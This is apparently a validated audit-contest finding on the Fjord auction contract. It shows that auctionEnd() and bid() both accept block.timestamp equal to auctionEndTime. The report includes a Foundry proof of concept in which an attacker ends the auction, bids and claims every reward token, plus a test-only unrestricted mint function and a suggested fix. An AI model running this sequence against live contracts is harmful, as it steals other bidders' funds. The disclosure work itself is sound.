Fjord Token Staking
Fjord
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

Incorrect auctionEndTime check can lead to loss of funds for users

anonymousjoe

Summary

Both the bid() and auctionEnd() functions can be called when block.timestamp == auctionEndTime. This can lead to a malicious attacker being able to close the auction first and then bid. Which will lead to loss of funds for all other users of the auction.

Vulnerability Details

Assume that many users have bid in an auction, and the block.timestamp == auctionEndTime. At this point a malicious attacker(bob) calls the auctionEnd() function which will calculate the multiplier and end the auction. In the same transaction(block.timestamp is still equal to auctionEndTime) bob calls the bid() function too. So Bob's bid gets registered and then when Bob calls the claimTokens() function, he will get tokens corresponding to his bid. This however will lead to some/all of the other users not getting the auction tokens. And when Bob calls the unbid function in the same transaction he gets his FjordPoints refunded too.

Scenario

  1. Auction has started with bidding time = 1week, and 1000e18 reward tokens.

  2. Alice bids 20e18 FjordPoints.

  3. Auction reaches the end time. (Now block.timestamp == AuctionEndTime).

  4. Bob calls the auctionEndTime() function which ends the auction.In this function the multiplier is calculated as (https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordAuction.sol#L181-L202)

    multiplier = totalTokens.mul(PRECISION_18).div(totalBids);
    // multiplier = 50 * PRECISION_18

This means with alice's bid of 20e18, and multiplier = 50*PRECISION_18, when alice claims tokens, she should recieve all of it.

  1. Bob calls the bid() function in the same transaction and bids 20e18 FjordPoints. (https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordAuction.sol#L143-L153)

  2. Bob then calls the claimTokens() function which uses bob's bid amount (20e18) and multiplier. Bob is rewarded 1000e18 reward tokens. (https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordAuction.sol#L207-L222)

    uint256 claimable = userBids.mul(multiplier).div(PRECISION_18);
    // claimable = 20e18*(50*PRECISION_18)/PRECISION_18
    // claimable = 1000e18

  1. Bob then calls the unbid() function in the same transaction. Here bob is refunded his FjordPoints.

  1. When Alice calls the claimTokens() function, it will revert since bob has already drained the funds. Leading alice to face a loss of 20e18 Fjord Points (the amount she bid)

Note: If bob doesnt call the unbid function, this also leads to Bob's bid (20e18) to be forever stuck in the FjordAuction contract. Since it cant be burned ever again, this will affect the totalSupply() of the FjordToken. This will lead to limited supply of FjordPoints in the openmarket.

POC

To run the POC
1. Add the following function in FjordPoints.sol (this is needed since while testing, "deal" doesnt increase the totalSupply so mint is to be used).

function mint(address account, uint256 amount) external{
_mint(account,amount);
}

  1. Replace the entire test/unit/auction.t.sol file with the below code snippet.

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity =0.8.21;
​
import "forge-std/Test.sol";
import "src/FjordAuction.sol";
import { FjordPoints } from "../../src/FjordPoints.sol";
import { ERC20BurnableMock } from "../mocks/ERC20BurnableMock.sol";
import { SafeMath } from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol";
​
contract TestAuction is Test {
using SafeMath for uint256;
​
FjordAuction public auction;
FjordPoints fjordPoints;
ERC20BurnableMock public auctionToken;
address public owner = address(0x1);
uint256 public biddingTime = 1 weeks;
uint256 public totalTokens = 1000 ether;
address alice = makeAddr("alice");
address bob = makeAddr("bob");
​
function setUp() public {
fjordPoints = new FjordPoints();
auctionToken = new ERC20BurnableMock("AuctionToken", "AUCT");
auction =
new FjordAuction(address(fjordPoints), address(auctionToken), biddingTime, totalTokens);
​
deal(address(auctionToken), address(auction), totalTokens);
}
​
function testBlockTimeEqualsAuctionEndTime() public {
// setup
fjordPoints.mint(address(alice), totalTokens);
vm.prank(alice);
fjordPoints.approve(address(auction), totalTokens);
​
fjordPoints.mint(address(bob), totalTokens);
vm.prank(bob);
fjordPoints.approve(address(auction), totalTokens);
​
​
// alice bids 20 ether
vm.prank(alice);
auction.bid(20 ether);
​
// Skipping to the end of the auction
vm.warp(vm.getBlockTimestamp() + 1 weeks); // block.timestamp == auctionEndTime
console.log("Current Block time is :", vm.getBlockTimestamp());
console.log("Auction End Time is :", auction.auctionEndTime());
console.log("The balance points in auction is :", fjordPoints.balanceOf(address(auction)));
​
// Bob ends the auction, bids and then claims tokens unfairly
vm.startPrank(bob);
​
auction.auctionEnd();
auction.bid(20 ether);
auction.claimTokens();
​
vm.stopPrank();
​
​
vm.prank(alice);
vm.expectRevert();
auction.claimTokens(); // should revert cause of insufficient funds (all funds were taken by bob)
​
// Alice's and Bob's AUCT balances.
console.log("Bob's balance AUCT after claiming is :", auctionToken.balanceOf(bob)); // bob incorrectly receives 1000e18 AUCT (he had 0)
console.log("Alice's balance AUCT after claiming is :", auctionToken.balanceOf(alice)); // alice should have recieved 1000e18 AUCT, but she has 0
// Bob can proceed to call the unbid() function to get his fjordPoints refunded back
}
}

OUTPUT

Current Block time is : 604801
Auction End Time is : 604801
The balance points in auction is : 20000000000000000000
Bob's balance AUCT after claiming is : 1000000000000000000000
Alice's balance AUCT after claiming is : 0

We can see that Alice gets nothing but Bob gets everything.

Impact

Bob gets free auct tokens, and it also causes a loss of funds for other users, and some of the FjordPoints forever being stuck in FjordAuction.sol (affecting the totalSupply).

This is of high/critical severity since any user(bob) can steal 100% of the auct tokens free of cost(disregarding gas cost).

Tools Used

Manual Review

Recommendations

To mitigate this issue, change the timestamp check in auctionEnd() function as follows(This will prevent anyone from ending the auction and bidding thereafter):

function auctionEnd() external {
// Updated check (adding the equal to symbol)
if (block.timestamp < auctionEndTime || block.timestamp == auctionEndTime) {
revert AuctionNotYetEnded();
}
// rest of the function
Updates

Lead Judging Commences

inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Users can bid in the same block when the actionEnd could be called (`block.timestamp==actionEndTime`), depending on the order of txs in block they could lose funds

The protocol doesn't properly treat the `block.timestamp == auctionEndTime` case. Impact: High - There are at least two possible impacts here: 1. By chance, user bids could land in a block after the `auctionEnd()` is called, not including them in the multiplier calculation, leading to a situation where there are insufficient funds to pay everyone's claim; 2. By malice, where someone can use a script to call `auctionEnd()` + `bid(totalBids)` + `claimTokens()`, effectively depriving all good faith bidders from tokens. Likelihood: Low – The chances of getting a `block.timestamp == auctionEndTime` are pretty slim, but it’s definitely possible.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.